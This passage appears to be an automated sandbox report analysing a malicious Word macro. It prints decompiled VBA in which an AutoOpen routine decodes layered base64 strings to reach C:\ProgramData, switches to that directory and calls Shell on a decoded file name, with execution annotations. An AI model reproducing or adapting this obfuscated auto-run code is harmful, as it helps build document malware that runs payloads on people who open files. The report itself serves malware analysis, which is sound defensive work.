4C24F4FC0C4C264CB35968DC0C4CED0CA50C4C1CB35944DC0C4C8E5C4C808080808080808080808080801AC7BDC7841B8B0A58434C4C4C8B0A5C4C4C4C4C8A4A4CC1354DC1D74C4C4C4CC65D0DC89E39B56783C7B5A42C4C4C4C13C78A128F80808080808080808080801FC78D1AC13C4DC65C0CC89E39B5678AC73B5CC794C78A77BF3E4EC78FCF33585C3E48C75BA74EC79BA40EB0B3B3C98) -> 2136065 executed
207	Endif
208	Next	Paragraphs ActiveDocument
209	Close # o______XX1663264119
210	o______XX16041118053 (o______XX1604111805)
211	End Sub

Subroutine o______XX16041118053, APIs: 54, Strings: 1, Number of lines: 8, Relevance: 114.008

APIs	Meta Information
Environ	Environ("ALLUSERSPROFILE") -> C:\ProgramData
Part of subcall function sss@NewMacros: Replace
Part of subcall function sss@NewMacros: vbCr
Part of subcall function sss@NewMacros: vbNullString
Part of subcall function sss@NewMacros: Replace
Part of subcall function sss@NewMacros: vbLf
Part of subcall function sss@NewMacros: vbNullString
Part of subcall function sss@NewMacros: Len
Part of subcall function sss@NewMacros: InStrRev
Part of subcall function sss@NewMacros: InStrRev
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ6
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ12
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ18
Part of subcall function sss@NewMacros: StrConv
Part of subcall function sss@NewMacros: vbFromUnicode
Part of subcall function sss@NewMacros: UBound
Part of subcall function sss@NewMacros: UBound
Part of subcall function sss@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHighMask
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ16
Part of subcall function sss@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHMidMask
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ8
Part of subcall function sss@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHLowMask
Part of subcall function sss@NewMacros: StrConv
Part of subcall function sss@NewMacros: vbUnicode
Part of subcall function sss@NewMacros: Left$
Part of subcall function sss@NewMacros: Len
ChDrive
Part of subcall function S2@NewMacros: ChDir
Part of subcall function Shits@NewMacros: Shell
Part of subcall function sss@NewMacros: Replace
Part of subcall function sss@NewMacros: vbCr
Part of subcall function sss@NewMacros: vbNullString
Part of subcall function sss@NewMacros: Replace
Part of subcall function sss@NewMacros: vbLf
Part of subcall function sss@NewMacros: vbNullString
Part of subcall function sss@NewMacros: Len
Part of subcall function sss@NewMacros: InStrRev
Part of subcall function sss@NewMacros: InStrRev
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ6
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ12
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ18
Part of subcall function sss@NewMacros: StrConv
Part of subcall function sss@NewMacros: vbFromUnicode
Part of subcall function sss@NewMacros: UBound
Part of subcall function sss@NewMacros: UBound
Part of subcall function sss@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHighMask
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ16
Part of subcall function sss@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHMidMask
Part of subcall function sss@NewMacros: MNAJSAQQQQQQ8
Part of subcall function sss@NewMacros: HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHLowMask
Part of subcall function sss@NewMacros: StrConv
Part of subcall function sss@NewMacros: vbUnicode
Part of subcall function sss@NewMacros: Left$
Part of subcall function sss@NewMacros: Len

Strings	Decrypted Strings
"Vm0weE5GbFdiRmRYV0dSUFZsZFNWMWxyWkZOWFZteHlXa1pPVjJKSGVGWlZiVFZyVmpBeFdHVkliRmRpUmtwSVZtMHhTMUl5VGtkaVJuQk9UVEJLV1Zac1VrSmxSbHB5VGxaa1lWSXdXbGhXYlhoM1lVWmFWbGRyV2xCV2EwcFRWVVpSZDFCUlBUMD0="	"Vm0xNFlWbFdXWGRPVldSV1lrZFNXVmxyWkZOV2JHeFZVbTVrVjAxWGVIbFdiRkpIVm0xS1IyTkdiRnBOTTBKWVZsUkJlRlpyTlZkYVIwWlhWbXh3YUZaVldrWlBWa0pTVUZRd1BRPT0="

Line	Instruction	Meta Information
228	Sub o______XX16041118053(o______XX16041118050 as String)
229	Dim o______XX1199965413 as Integer	executed
230	Dim o______XX2233213199 as String
231	o______XX2233213199 = Environ(sss(sss(sss(sss(sss(sss(sss(sss("Vm0weE5GbFdiRmRYV0dSUFZsZFNWMWxyWkZOWFZteHlXa1pPVjJKSGVGWlZiVFZyVmpBeFdHVkliRmRpUmtwSVZtMHhTMUl5VGtkaVJuQk9UVEJLV1Zac1VrSmxSbHB5VGxaa1lWSXdXbGhXYlhoM1lVWmFWbGRyV2xCV2EwcFRWVVpSZDFCUlBUMD0="))))))))) + sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss(sss("Vm0wd2QyUXlVWGxWV0d4V1YwZDRXRmxVU205V01WbDNXa2M1VjFKc2JETlhhMk0xVjBaYWMySkVUbGhoTWsweFZqQmFZV1JIVmtWUmJVWlhWbXhzTTFacVFtRlRNbEpJVm10a1dHSkdjRTlaVjNSR1pVWmFkR05GWkZwV01VcEpWbTEwYTFkSFNrZGpSVGxhVmpOU1IxcFZXbUZrUjA1R1drWndWMDFWY0VwV2JURXdZekpHVjFOdVVtaFNlbXhXVm0xNFlVMHhXbk5YYlVaclVqQTFSMXBGV2xOVWJGcFZWbXR3VjJKVVJYZFpWRXBIVmpGT1dWcEdhR2xTTW1oWlYxWmtNRmxXVWtkV1dHaFlZbGhTV0ZSV2FFTlNiRnBZWlVoa1YwMUVSbGRaTUZwelZqRmFObEZZYUZabGEzQklXWHBHVDJSV1duTlRiV3hYVWpOb2IxWnRjRU5pTVVWNFdrVmthbEp0VWxsWmJGWmhZMVpTVjFkdVpFNVNiRm93V2xWa01GWlhTa2RqUkVaV1ZqTm9kbFpxUmt0ak1rNUhZVVprYUdFelFrbFdWRUpoV1ZkU1YxTnVUbFJpUjFKVVZGUkJkMDFSUFQwPQ=="))))))))))))))	Environ("ALLUSERSPROFILE") -> C:\ProgramData executed
232	ChDrive (o______XX2233213199)	ChDrive
233	S2 (o______XX2233213199)
234	Shits (o______XX2233213199 + sss(sss(sss(sss(sss(sss(sss(sss("Vm0weGQxRXhXWGxTYmxKWFlUSm9XRmx0ZEhkak1WVjNWMnQwV0ZKdGVGbGFWVll3WVVaS2MyTkdhRmRXYldoeVZsVmFWMVpWTVVWaGVqQTk=")))))))))
236	End Sub

Subroutine AutoOpen, APIs: 0, Strings: 0, Number of lines: 3, Relevance: 1.253

Line	Instruction	Meta Information
238	Sub AutoOpen()
239	AddSpace	executed
240	End Sub

Function sss, APIs: 25, Strings: 2, Number of lines: 48, Relevance: 68.298

APIs	Meta Information
Replace	Replace("Vm0wd2QyVkZOVWRXV0doVllteEtXRmxVUm5kVU1WcHpXa2M1VjFadGVEQlpNM0JIVm1zeFdHVkliRmRpVkZaeVZtMHhTMUl5VGtsaVJtUlhUVEZLVFZac1ZtRldNVnBXVFZWV2FHVnFRVGs9"," ","") -> Vm0wd2QyVkZOVWRXV0doVllteEtXRmxVUm5kVU1WcHpXa2M1VjFadGVEQlpNM0JIVm1zeFdHVkliRmRpVkZaeVZtMHhTMUl5VGtsaVJtUlhUVEZLVFZac1ZtRldNVnBXVFZWV2FHVnFRVGs9 Replace("Vm0wd2VFNUdWWGhVYmxKWFlURndUMVpzWkc5V1ZteDBZM3BHVmsxWGVIbFdiVFZyVm0xS1IyTkliRmRXTTFKTVZsVmFWMVpWTVVWaGVqQTk="," ","") -> Vm0wd2VFNUdWWGhVYmxKWFlURndUMVpzWkc5V1ZteDBZM3BHVmsxWGVIbFdiVFZyVm0xS1IyTkliRmRXTTFKTVZsVmFWMVpWTVVWaGVqQTk= Replace("Vm0weE5GVXhUblJXYTFwT1ZsZG9WVmx0Y3pGVk1XeHlWbTVrVm1KR2NIbFdWM1JMVlVaV1ZVMUVhejA9"," ","") -> Vm0weE5GVXhUblJXYTFwT1ZsZG9WVmx0Y3pGVk1XeHlWbTVrVm1KR2NIbFdWM1JMVlVaV1ZVMUVhejA9 Replace("Vm0xNFUxTnRWa1pOVldoVVltczFVMWxyVm5kVmJGcHlWV3RLVUZWVU1Eaz0="," ","") -> Vm0xNFUxTnRWa1pOVldoVVltczFVMWxyVm5kVmJGcHlWV3RLVUZWVU1Eaz0= Replace("Vm14U1NtVkZNVWhUYms1U1lrVndVbFpyVWtKUFVUMDk="," ","") -> Vm14U1NtVkZNVWhUYms1U1lrVndVbFpyVWtKUFVUMDk= Replace("VmxSSmVFMUhTbk5SYkVwUlZrUkJPUT09"," ","") -> VmxSSmVFMUhTbk5SYkVwUlZrUkJPUT09 Replace("VlRJeE1HSnNRbEpRVkRBOQ=="," ","") -> VlRJeE1HSnNRbEpRVkRBOQ== Replace("VTIxMGJsQlJQVDA9"," ","") -> VTIxMGJsQlJQVDA9 Replace("U210blBRPT0="," ","") -> U210blBRPT0= Replace("SmtnPQ=="," ","") -> SmtnPQ== Replace("Jkg="," ","") -> Jkg= Replace("Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSWFJteFZVbTVrVmxKc2NIcFhhMXBQVjBaS2MySkVUbGhoTWsweFZtcEJlRll5U2tWVWJHaG9UV3N3ZUZacVFtRlRNazE1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GWkZSTmJFcEpWbTEwYTFkSFNrZGpSVGxhVmpOU1IxcFZXbUZrUjA1R1pFWlNUbFpVVmtwV2JURXdWakZXZEZOc1dsaGlSMmhZV1ZkMFlWUkdWWGhYYlVaclVqQTFSMVV5TVRSVk1rcFhVMnR3VjJKVVJYZFdha1pYWkVaT2MxZHNhR2xTYTNCWlYxZDRiMkl5Vm5OVmJGWlRZbGhTV0ZSV2FFTlNiRnBZWlVaT1ZXSlZjRWRaTUZaM1ZqSktWVkpZWkZwbGEzQklXWHBHVDJSV1ZuTlhiV3hvVFVoQ1dWWXhaRFJpTVZWM1RVaG9WMWRIYUZsWmJHaFRWMFpTVjJGRlRsUmlSM1F6VjJ0U1UxWnJNWEpqUm1oV1RXNW9lbFpxUm1GT2JFWlpZVVprVTFKV2NEWldiWEJIVkRKU1YxVnVVbXBTYkVwVVZteG9RMWRXV1hoYVJGSnBUVlpXTTFSVmFHOVdiVXB6VTI1T1ZtRnJTbWhaTVZwVFZqRndSMVJyTlZOaVJtOTNWMnhXYTAxR1dsaFRhMlJxVWtWYVYxWnFUbTlrYkZweFVtdDBhazFyTlVoWlZWcHJZVWRGZWxGcmJGZFdSVXBvVjFaa1UxWXhUblZVYkZKcFVqRktWVlpHVWtKa01ERlNVRlF3UFE9PQ=="," ","") -> Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSWFJteFZVbTVrVmxKc2NIcFhhMXBQVjBaS2MySkVUbGhoTWsweFZtcEJlRll5U2tWVWJHaG9UV3N3ZUZacVFtRlRNazE1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GWkZSTmJFcEpWbTEwYTFkSFNrZGpSVGxhVmpOU1IxcFZXbUZrUjA1R1pFWlNUbFpVVmtwV2JURXdWakZXZEZOc1dsaGlSMmhZV1ZkMFlWUkdWWGhYYlVaclVqQTFSMVV5TVRSVk1rcFhVMnR3VjJKVVJYZFdha1pYWkVaT2MxZHNhR2xTYTNCWlYxZDRiMkl5Vm5OVmJGWlRZbGhTV0ZSV2FFTlNiRnBZWlVaT1ZXSlZjRWRaTUZaM1ZqSktWVkpZWkZwbGEzQklXWHBHVDJSV1ZuTlhiV3hvVFVoQ1dWWXhaRFJpTVZWM1RVaG9WMWRIYUZsWmJHaFRWMFpTVjJGRlRsUmlSM1F6VjJ0U1UxWnJNWEpqUm1oV1RXNW9lbFpxUm1GT2JFWlpZVVprVTFKV2NEWldiWEJIVkRKU1YxVnVVbXBTYkVwVVZteG9RMWRXV1hoYVJGSnBUVlpXTTFSVmFHOVdiVXB6VTI1T1ZtRnJTbWhaTVZwVFZqRndSMVJyTlZOaVJtOTNWMnhXYTAxR1dsaFRhMlJxVWtWYVYxWnFUbTlrYkZweFVtdDBhazFyTlVoWlZWcHJZVWRGZWxGcmJGZFdSVXBvVjFaa1UxWXhUblZVYkZKcFVqRktWVlpHVWtKa01ERlNVRlF3UFE9PQ== Replace("Vm0wd2QyUXlVWGxWV0d4V1YwZDRXRmxVUm5kVlJscHpXa1pPV0ZKc2JETlhhMk0xVmpBeFYySkVUbGhoTWsweFZqQmFTMk15U2tWVWJHaG9UVlZ3VlZadGNFZFRNbEpJVm10a1dHSkdjRTlaVjNSR1pVWmFkR05GZEZSTlZUVkpWbTEwVjFWdFNsWlhiR2hYWVd0YVRGVXhXbUZrUjA1R1UyMTRVMkpXU2twV2JURXdWakZXZEZOc1dsaGlSa3BZV1d4b2IyVnNVbFZTYlhSWFRWaENSbFpYZUZOVWJVcEdZMFZ3VjJKVVJYZFpla3BIWXpGT2RWVnNXbWxoTUhCWVYxZDRiMVV3TUhoV1dHaFlZbGhTV0ZSV2FFTlRiR3QzV2tSU1ZrMXJjRmhWTW5oelZqRmFObEZZYUZkU1JWcDZWbXBHVDJSV1VuUmpSbEpUVmxoQ1dWWXhaRFJpTVZWM1RVaG9WbUpzU25OVmFrSmhZMVpTVjFwR1RrNVNiRm93V2xWa01GWlhTa2RqUkVaV1ZqTm9kbFpxUmt0ak1rNUhZVVprYUdFelFrbFdWRUpoV1ZkU1YxTnVUbFJpUjFKVVZGUkJkMDFSUFQwPQ=="," ","") -> Vm0wd2QyUXlVWGxWV0d4V1YwZDRXRmxVUm5kVlJscHpXa1pPV0ZKc2JETlhhMk0xVmpBeFYySkVUbGhoTWsweFZqQmFTMk15U2tWVWJHaG9UVlZ3VlZadGNFZFRNbEpJVm10a1dHSkdjRTlaVjNSR1pVWmFkR05GZEZSTlZUVkpWbTEwVjFWdFNsWlhiR2hYWVd0YVRGVXhXbUZrUjA1R1UyMTRVMkpXU2twV2JURXdWakZXZEZOc1dsaGlSa3BZV1d4b2IyVnNVbFZTYlhSWFRWaENSbFpYZUZOVWJVcEdZMFZ3VjJKVVJYZFpla3BIWXpGT2RWVnNXbWxoTUhCWVYxZDRiMVV3TUhoV1dHaFlZbGhTV0ZSV2FFTlRiR3QzV2tSU1ZrMXJjRmhWTW5oelZqRmFObEZZYUZkU1JWcDZWbXBHVDJSV1VuUmpSbEpUVmxoQ1dWWXhaRFJpTVZWM1RVaG9WbUpzU25OVmFrSmhZMVpTVjFwR1RrNVNiRm93V2xWa01GWlhTa2RqUkVaV1ZqTm9kbFpxUmt0ak1rNUhZVVprYUdFelFrbFdWRUpoV1ZkU1YxTnVUbFJpUjFKVVZGUkJkMDFSUFQwPQ== Replace("Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOWFJsbDNXa2M1VjAxV2JETlhhMk0xVjBaS2MySkVUbGhoTVVwVVZtcEdTMlJIVmtkWGJGcE9ZV3RGZUZadGNFdFRNVTVJVm10V1VtSlZXbGhXYWtaTFUxWmFkR05GU214U2JWSkpWbTEwVjFWdFNsWlhiRkpYWWxob2VsUlVSbXRXTVhCRlZXeFNUbUpGY0VwV2JURXdZekpHYzFOdVVsWmlhMHBYV1d4b1UwMHhWWGhYYlhSWFRWaENTbGt3WkRSVk1rcFhVMnhzVjFaNlFYaFdSRVp6VmpGT2RWUnRjRlJTVlhCWVYxZDRiMVV3TUhoVmJsSnNVakJhY1ZSV1pGTk5SbFowWlVkMFZXSkdjREZWVjNodlZqRktjMk5HYUZkaGEzQklWVEJhWVdSV1NuTlRiR1JUVFRBd01RPT0="," ","") -> Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOWFJsbDNXa2M1VjAxV2JETlhhMk0xVjBaS2MySkVUbGhoTVVwVVZtcEdTMlJIVmtkWGJGcE9ZV3RGZUZadGNFdFRNVTVJVm10V1VtSlZXbGhXYWtaTFUxWmFkR05GU214U2JWSkpWbTEwVjFWdFNsWlhiRkpYWWxob2VsUlVSbXRXTVhCRlZXeFNUbUpGY0VwV2JURXdZekpHYzFOdVVsWmlhMHBYV1d4b1UwMHhWWGhYYlhSWFRWaENTbGt3WkRSVk1rcFhVMnhzVjFaNlFYaFdSRVp6VmpGT2RWUnRjRlJTVlhCWVYxZDRiMVV3TUhoVmJsSnNVakJhY1ZSV1pGTk5SbFowWlVkMFZXSkdjREZWVjNodlZqRktjMk5HYUZkaGEzQklWVEJhWVdSV1NuTlRiR1JUVFRBd01RPT0= Replace("Vm0wd2QyUXlVWGxXYTFwUFZsZFNXRll3Wkc5V01WbDNXa2M1V0ZKc2JETlhhMUpUVmpGS2RHVkdXbFpOYWtFeFZtcEtTMU5IVmtWUmJVWlhWakZLU1ZadGNFSmxSbVJJVm10V1VtSlZXbFJXYlhoelRURmtWMXBFVWxSTmJFcEpWbTEwYzJGc1NuUlZia0pXWWxoU00xVXhXbXRXTVhCSlkwZDRVMkpXU2xsV1Z6QXhWREZzVjFOdVRtcFRSVXBYV1d4b1UwMHhVblJsUjBacVRWZFNNRlZ0ZUd0VWJGcDFVV3hvVjFKc2NGaFdha3BIVTBaYWRWSnNTbGRTTTAwMQ=="," ","") -> Vm0wd2QyUXlVWGxXYTFwUFZsZFNXRll3Wkc5V01WbDNXa2M1V0ZKc2JETlhhMUpUVmpGS2RHVkdXbFpOYWtFeFZtcEtTMU5IVmtWUmJVWlhWakZLU1ZadGNFSmxSbVJJVm10V1VtSlZXbFJXYlhoelRURmtWMXBFVWxSTmJFcEpWbTEwYzJGc1NuUlZia0pXWWxoU00xVXhXbXRXTVhCSlkwZDRVMkpXU2xsV1Z6QXhWREZzVjFOdVRtcFRSVXBYV1d4b1UwMHhVblJsUjBacVRWZFNNRlZ0ZUd0VWJGcDFVV3hvVjFKc2NGaFdha3BIVTBaYWRWSnNTbGRTTTAwMQ== Replace("Vm0wd2QyUXlWa1pPVldSWFYwZG9WMVl3Wkc5WFJsbDNXa1JTVjFKdGVGWlZNakExVmpKS1NHVkVRbUZXVjFKSVZtcEJlRmRIVmtWUmJVWlRWbXhzTTFkV1pEUlRNbEpJVm10c2FsSnRVbkJWYlhSM1UxWmtWMXBJY0d4U2JWSllWVzAxVDFsV1NuTmpTRUpXWWxoU00xUnRlR0ZqTVdSMFVteGtUbFp1UWxoV1JscFhWakpHU0ZadVJsSldSM001"," ","") -> Vm0wd2QyUXlWa1pPVldSWFYwZG9WMVl3Wkc5WFJsbDNXa1JTVjFKdGVGWlZNakExVmpKS1NHVkVRbUZXVjFKSVZtcEJlRmRIVmtWUmJVWlRWbXhzTTFkV1pEUlRNbEpJVm10c2FsSnRVbkJWYlhSM1UxWmtWMXBJY0d4U2JWSllWVzAxVDFsV1NuTmpTRUpXWWxoU00xUnRlR0ZqTVdSMFVteGtUbFp1UWxoV1JscFhWakpHU0ZadVJsSldSM001 Replace("Vm0wd2QyVkZOVWRXV0doV1YwZG9XRll3WkRSV1JteFZVMjA1VjJKSGVEQmFWV1JIVmpBeFdHVkVRbUZTVmxsM1dWZDRTMlJIVmtsalJtUnBVbXR3U1ZkV1pIcGxSbVJYVW01T1lWSnNjSEJWYlhSM1RteGFjMWR0UmxkTlZuQlhWRlpXVjJGSFZuRlJWR3M5"," ","") -> Vm0wd2QyVkZOVWRXV0doV1YwZG9XRll3WkRSV1JteFZVMjA1VjJKSGVEQmFWV1JIVmpBeFdHVkVRbUZTVmxsM1dWZDRTMlJIVmtsalJtUnBVbXR3U1ZkV1pIcGxSbVJYVW01T1lWSnNjSEJWYlhSM1RteGFjMWR0UmxkTlZuQlhWRlpXVjJGSFZuRlJWR3M5 Replace("Vm0wd2VFNUdWWGhWV0doWFYwZDRWRmxVU205V2JHeDBaVWRHVjAxWGVEQmFSVll3WVd4S2RHVkljRmRpUmtwSVdWZHplRmRXUm5OYVJscHBVbXR3Tmxac1dtRldNVnBXVFZWV2FHVnFRVGs9"," ","") -> Vm0wd2VFNUdWWGhWV0doWFYwZDRWRmxVU205V2JHeDBaVWRHVjAxWGVEQmFSVll3WVd4S2RHVkljRmRpUmtwSVdWZHplRmRXUm5OYVJscHBVbXR3Tmxac1dtRldNVnBXVFZWV2FHVnFRVGs9 Replace("Vm0weE5GVXhVWGhXV0d4VFlUSm9WbGx0ZUdGV01XeDBaRVYwYWxKdGVIcFdiRkpIWVdzeFdWRnNaRlppUmtwNlZsWmFWMVpWTVVWaGVqQTk="," ","") -> Vm0weE5GVXhVWGhXV0d4VFlUSm9WbGx0ZUdGV01XeDBaRVYwYWxKdGVIcFdiRkpIWVdzeFdWRnNaRlppUmtwNlZsWmFWMVpWTVVWaGVqQTk= Replace("Vm0xNFUxUXhWWGxTYTJoVllteGFWMWx0ZEV0alJteHpWbFJHYWsxWVFsZFZiRkp6VlZaV1ZVMUVhejA9"," ","") -> Vm0xNFUxUXhWWGxTYTJoVllteGFWMWx0ZEV0alJteHpWbFJHYWsxWVFsZFZiRkp6VlZaV1ZVMUVhejA9 Replace("Vm14U1QxVXlSa2hVYmxaV1ltdEtjRmxzVlRGak1YQldVbFJzVVZWVU1Eaz0="," ","") -> Vm14U1QxVXlSa2hVYmxaV1ltdEtjRmxzVlRGak1YQldVbFJzVVZWVU1Eaz0= Replace("VmxST1UyRkhUblZWYmtKcFlsVTFjMXBWUlRsUVVUMDk="," ","") -> VmxST1UyRkhUblZWYmtKcFlsVTFjMXBWUlRsUVVUMDk= Replace("VlROU2FHTnVVbkJpYlU1c1pVRTlQUT09"," ","") -> VlROU2FHTnVVbkJpYlU1c1pVRTlQUT09 Replace("VTNSaGNuUnBibU5sZUE9PQ=="," ","") -> VTNSaGNuUnBibU5sZUE9PQ== Replace("U3RhcnRpbmNleA=="," ","") -> U3RhcnRpbmNleA== Replace("Vm0weE5GbFdiRmRYV0dSUFZsZFNWMWxyWkZOWFZteHlXa1pPVjJKSGVGWlZiVFZyVmpBeFdHVkliRmRpUmtwSVZtMHhTMUl5VGtkaVJuQk9UVEJLV1Zac1VrSmxSbHB5VGxaa1lWSXdXbGhXYlhoM1lVWmFWbGRyV2xCV2EwcFRWVVpSZDFCUlBUMD0="," ","") -> Vm0weE5GbFdiRmRYV0dSUFZsZFNWMWxyWkZOWFZteHlXa1pPVjJKSGVGWlZiVFZyVmpBeFdHVkliRmRpUmtwSVZtMHhTMUl5VGtkaVJuQk9UVEJLV1Zac1VrSmxSbHB5VGxaa1lWSXdXbGhXYlhoM1lVWmFWbGRyV2xCV2EwcFRWVVpSZDFCUlBUMD0= Replace("Vm0xNFlWbFdXWGRPVldSV1lrZFNXVmxyWkZOV2JHeFZVbTVrVjAxWGVIbFdiRkpIVm0xS1IyTkdiRnBOTTBKWVZsUkJlRlpyTlZkYVIwWlhWbXh3YUZaVldrWlBWa0pTVUZRd1BRPT0="," ","") -> Vm0xNFlWbFdXWGRPVldSV1lrZFNXVmxyWkZOV2JHeFZVbTVrVjAxWGVIbFdiRkpIVm0xS1IyTkdiRnBOTTBKWVZsUkJlRlpyTlZkYVIwWlhWbXh3YUZaVldrWlBWa0pTVUZRd1BRPT0= Replace("Vm14YVlWWXdOVWRWYkdSWVlrZFNWbGxVUm5kV01XeHlWbFJHVm1KR2NGbFpNM0JYVlRBeFZrNVdaR0ZXVmxwaFZVWkZPVkJSUFQwPQ=="," ","") -> Vm14YVlWWXdOVWRWYkdSWVlrZFNWbGxVUm5kV01XeHlWbFJHVm1KR2NGbFpNM0JYVlRBeFZrNVdaR0ZXVmxwaFZVWkZPVkJSUFQwPQ== Replace("VmxaYVYwNUdVbGRYYkdSVllURndWMWxyVlRGVmJGcFlZM3BXVTAxVk5WZGFWVlphVUZFOVBRPT0="," ","") -> VmxaYVYwNUdVbGRYYkdSVllURndWMWxyVlRGVmJGcFlZM3BXVTAxVk5WZGFWVlphVUZFOVBRPT0= Replace("VlZaV05GUldXbGRVYTFwV1lrVTFVbFpYY3pWU01VNVdaVVZaUFE9PQ=="," ","") -> VlZaV05GUldXbGRVYTFwV1lrVTFVbFpYY3pWU01VNVdaVVZaUFE9PQ== Replace("VVZWNFRWWldUa1pWYkU1UlZXczVSMU5WZUVZPQ=="," ","") -> VVZWNFRWWldUa1pWYkU1UlZXczVSMU5WZUVZPQ== Replace("UVV4TVZWTkZVbE5RVWs5R1NVeEY="," ","") -> UVV4TVZWTkZVbE5RVWs5R1NVeEY= Replace("QUxMVVNFUlNQUk9GSUxF"," ","") -> QUxMVVNFUlNQUk9GSUxF Replace("Vm0wd2QyUXlVWGxWV0d4V1YwZDRXRmxVU205V01WbDNXa2M1VjFKc2JETlhhMk0xVjBaYWMySkVUbGhoTWsweFZqQmFZV1JIVmtWUmJVWlhWbXhzTTFacVFtRlRNbEpJVm10a1dHSkdjRTlaVjNSR1pVWmFkR05GWkZwV01VcEpWbTEwYTFkSFNrZGpSVGxhVmpOU1IxcFZXbUZrUjA1R1drWndWMDFWY0VwV2JURXdZekpHVjFOdVVtaFNlbXhXVm0xNFlVMHhXbk5YYlVaclVqQTFSMXBGV2xOVWJGcFZWbXR3VjJKVVJYZFpWRXBIVmpGT1dWcEdhR2xTTW1oWlYxWmtNRmxXVWtkV1dHaFlZbGhTV0ZSV2FFTlNiRnBZWlVoa1YwMUVSbGRaTUZwelZqRmFObEZZYUZabGEzQklXWHBHVDJSV1duTlRiV3hYVWpOb2IxWnRjRU5pTVVWNFdrVmthbEp0VWxsWmJGWmhZMVpTVjFkdVpFNVNiRm93V2xWa01GWlhTa2RqUkVaV1ZqTm9kbFpxUmt0ak1rNUhZVVprYUdFelFrbFdWRUpoV1ZkU1YxTnVUbFJpUjFKVVZGUkJkMDFSUFQwPQ=="," ","") -> Vm0wd2QyUXlVWGxWV0d4V1YwZDRXRmxVU205V01WbDNXa2M1VjFKc2JETlhhMk0xVjBaYWMySkVUbGhoTWsweFZqQmFZV1JIVmtWUmJVWlhWbXhzTTFacVFtRlRNbEpJVm10a1dHSkdjRTlaVjNSR1pVWmFkR05GWkZwV01VcEpWbTEwYTFkSFNrZGpSVGxhVmpOU1IxcFZXbUZrUjA1R1drWndWMDFWY0VwV2JURXdZekpHVjFOdVVtaFNlbXhXVm0xNFlVMHhXbk5YYlVaclVqQTFSMXBGV2xOVWJGcFZWbXR3VjJKVVJYZFpWRXBIVmpGT1dWcEdhR2xTTW1oWlYxWmtNRmxXVWtkV1dHaFlZbGhTV0ZSV2FFTlNiRnBZWlVoa1YwMUVSbGRaTUZwelZqRmFObEZZYUZabGEzQklXWHBHVDJSV1duTlRiV3hYVWpOb2IxWnRjRU5pTVVWNFdrVmthbEp0VWxsWmJGWmhZMVpTVjFkdVpFNVNiRm93V2xWa01GWlhTa2RqUkVaV1ZqTm9kbFpxUmt0ak1rNUhZVVprYUdFelFrbFdWRUpoV1ZkU1YxTnVUbFJpUjFKVVZGUkJkMDFSUFQwPQ== Replace("Vm0wd2QyUXlVWGxWV0d4WFlUSm9WMVl3Wkc5V1JsbDNXa2M1V0Zac2JETlhhMk0xVjBaYWRHVkVRbUZXVmxsM1ZqQmFTMlJIVmtkWGJGcE9ZV3RGZUZadGNFZFpWMUpJVm10a1dHSkdjRTlaVjNSR1pVWmFkR05GWkZwV01VcEpWbTEwYzJGV1NuUmhSemxWVm14YU0xWnNXbUZrUjA1R1pFWlNUbFpVVmtwV2JURXdZVEpHVjFOWVpGaGlSMmhZV1ZkMFlWUkdWWGhYYlhSWFRWaENSbFpYZUhkV01ERldZMFpzVjFaNlFYaFZla3BIWXpGT2RWWnNTbWxXUjNob1ZtcENiMUV4WkVkalJtUllZbFZhY1ZSV1duZE5SbFowWlVkMFZXSkdjREZWVjNodlZqRktjMk5HYUZkaGEzQklWVEJhWVdSV1NuTlRiR1JUVFRBd01RPT0="," ","") -> Vm0wd2QyUXlVWGxWV0d4WFlUSm9WMVl3Wkc5V1JsbDNXa2M1V0Zac2JETlhhMk0xVjBaYWRHVkVRbUZXVmxsM1ZqQmFTMlJIVmtkWGJGcE9ZV3RGZUZadGNFZFpWMUpJVm10a1dHSkdjRTlaVjNSR1pVWmFkR05GWkZwV01VcEpWbTEwYzJGV1NuUmhSemxWVm14YU0xWnNXbUZrUjA1R1pFWlNUbFpVVmtwV2JURXdZVEpHVjFOWVpGaGlSMmhZV1ZkMFlWUkdWWGhYYlhSWFRWaENSbFpYZUhkV01ERldZMFpzVjFaNlFYaFZla3BIWXpGT2RWWnNTbWxXUjNob1ZtcENiMUV4WkVkalJtUllZbFZhY1ZSV1duZE5SbFowWlVkMFZXSkdjREZWVjNodlZqRktjMk5HYUZkaGEzQklWVEJhWVdSV1NuTlRiR1JUVFRBd01RPT0= Replace("Vm0wd2QyUXlVWGxXYTJoV1YwZG9WRll3Wkc5WFZsbDNXa2M1V0ZadGVEQmFWVll3VjBaS2RHVkdXbFpOYWtFeFZtcEdZV1JIVmtkWGJGcE9ZV3RGZUZadGNFZFpWMUpJVm10c2FWSnRhRzlVVmxaM1ZsWmFkR05GZEZSTlZUVkpWbTEwYTJGV1NYZFhiR2hYWVd0YVRGVXhXbXRXTVhCRlZXeHdWMDFWY0ZsV1Z6QXhVekpHYzFOdVZsSmlWR3hoVmpCb1ExZEdjRmRYYlVacVRWWndNRlZ0ZUd0VWJGcDFVV3hvVjFKc2NGaFdha3BIVTBaYWRWSnNTbGRTTTAwMQ=="," ","") -> 